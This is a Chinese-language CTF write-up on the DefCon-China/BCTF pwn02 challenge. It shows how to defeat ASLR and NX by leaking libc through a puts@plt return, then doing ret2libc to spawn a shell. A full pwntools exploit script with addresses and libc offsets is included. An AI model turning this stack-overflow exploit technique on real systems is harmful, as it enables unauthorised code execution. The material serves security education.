ASLR(地址隨機化)是一種針對緩沖區(qū)溢出的安全保護技術(shù),通過對堆、棧、共享庫映射等線性區(qū)布局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。
但是,地址隨機化不是對所有模塊和內(nèi)存區(qū)都進行隨機化!雖然libc、棧、堆的加載位置被隨機化,但主鏡像不會
一,測試程序-2018 DefCon-China & BCTF攻防賽pwn02題第3點
程序:https://pan.baidu.com/s/1msX6qw9K0tR-CMT6K9oR_w 密碼:2csu
1.查看下保護機制

看可以看到,pwn02即開啟了ASLR(地址隨機化)又開啟了NX(棧不可執(zhí)行)
2.查看libc的加載地址是否會改變
在之前的實驗中,我們使用ldd命令查看關(guān)閉了ASLR保護基址的程序的libc加載地址,這次同樣使用該命令查看pwn02的libc文件的加載地址

我們將它運行三次,可以發(fā)現(xiàn),每一此它的加載位置都是不同的,也就是說,我們不在可以通過簡單的ldd命令將libc的加載地址給獲取
3.運行程序

當看到
input your id時,我們就可以有些想法了,啊 !是不是棧溢出?。枯斎胍婚L串字符測試下,果然報錯 Segmentation fault
4.IDA打開,觀察漏洞點

發(fā)現(xiàn)程序崩潰語句===>沒有控制字符串拷貝的大小
二,利用思路
首先繞過ASLR(地址隨機化),泄露出libc的基址libc_base,然后利用Ret2libc或構(gòu)造ROP鏈繞過NX,但是要注意的是,這兩步要在一次運行完成,不然因為地址隨機化的緣故,在下一次運行時libc基址又將改變。
也就是說,這個溢出漏洞在一次運行中要利用兩次,第一次泄露libc基址,第二次利用泄露出來的libc基址獲得shell
完成libc基址泄露,并使漏洞可以利用兩次
常用思路:首先通過溢出返回至PLT表中,調(diào)用具有輸出功能的函數(shù)(常用puts/write/printf)將GOT表中的真實libc函數(shù)地址打印出來,從而分析libc基地址。然后返回至漏洞函數(shù)二次觸發(fā)溢出,此時便采取正常利用思路獲得shell。
簡單說就是:
1.獲得程序調(diào)用的一個
libc函數(shù)的在程序里的真實地址---------func_true_addr
2.獲得這個函數(shù)在libc文件里的偏移地址---------------------------func_offset_addr
3.通過相減得到libc在程序里的加載地址----------------------libc_base = func_true_addr - func_offset_addr
__libc_start_main是libc中的一個函數(shù),在程序進入main的初始化工作中會被調(diào)用,為了獲得它的真實地址,并可以二次利用漏洞,我們可以布局為:

布局原理:布局完成后,返回地址return_addr被覆蓋為puts@plt地址,當運行到原返回地址位置時,會跳轉(zhuǎn)到puts中執(zhí)行,同時,esp指向esp+4,這時對puts來說,它內(nèi)部的ret(返回地址)執(zhí)行時esp指針還是指向esp+4的,也就是esp + 4(main)就是puts函數(shù)的返回地址,而esp+8(__libc_start_main@got.plt)則是它的參數(shù)。
流程:當調(diào)用puts時,__lic_start_main作為參數(shù)傳入,這樣我們就可以獲得__libc_start_main在程序中的加載地址,當puts返回時會回到main函數(shù)當中,從而實現(xiàn)堆漏洞的二次利用。
$1,IDA查找pwn02中puts@plt

得到0x08048868
$2,IDA查找pwn02中main

得到0x080496D1
$2,IDA查找pwn02中__libc_start_main


得到0x0804BFD8
得到這些我們第一利用就可以得到libc基址libc_base,第二次只要繞過NX就可以了
在這我使用的是Ret2libc,可以參考我的另一篇文章:http://www.itdecent.cn/p/c90530c910b0,我就不再贅述。
三,代碼
利用這些我們寫一個腳本-文件名: exp.py
from pwn import *
r = process('./pwn02')
def overflow(data):
r.recvuntil('Your choice: ')
r.sendline('3')
r.recvuntil('):')
r.sendline('+')
r.recvuntil('):')
r.sendline('1 2')
r.recvuntil('input your id')
r.sendline(data)
buf = 'A' * 44
buf += p32(0x08048868) #puts
buf += p32(0x080496D1) #main
buf += p32(0x0804BFD8) #__libc_start_main
overflow(buf)
r.recvuntil('...\n') #泄露libc基址 libc_base
leak_message = r.recv(4)
print repr(leak_message)
leak_value = u32(leak_message)
print 'leak_value is ' + hex(leak_value)
libc_base =leak_value - 0x000198B0
system_addr = libc_base + 0x0003D7E0 #計算system()
sh_addr = libc_base + 0x0017c968 #計算`/bin/sh`
buf = 'A' * 44 #ret2libc
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(sh_addr)
overflow(buf)
r.interactive()
四,測試

輸入whoami,返回當前用戶為root,輸入ls,返回當前目錄下的文件,均未報錯,得到可產(chǎn)生交互的shell,實驗完成!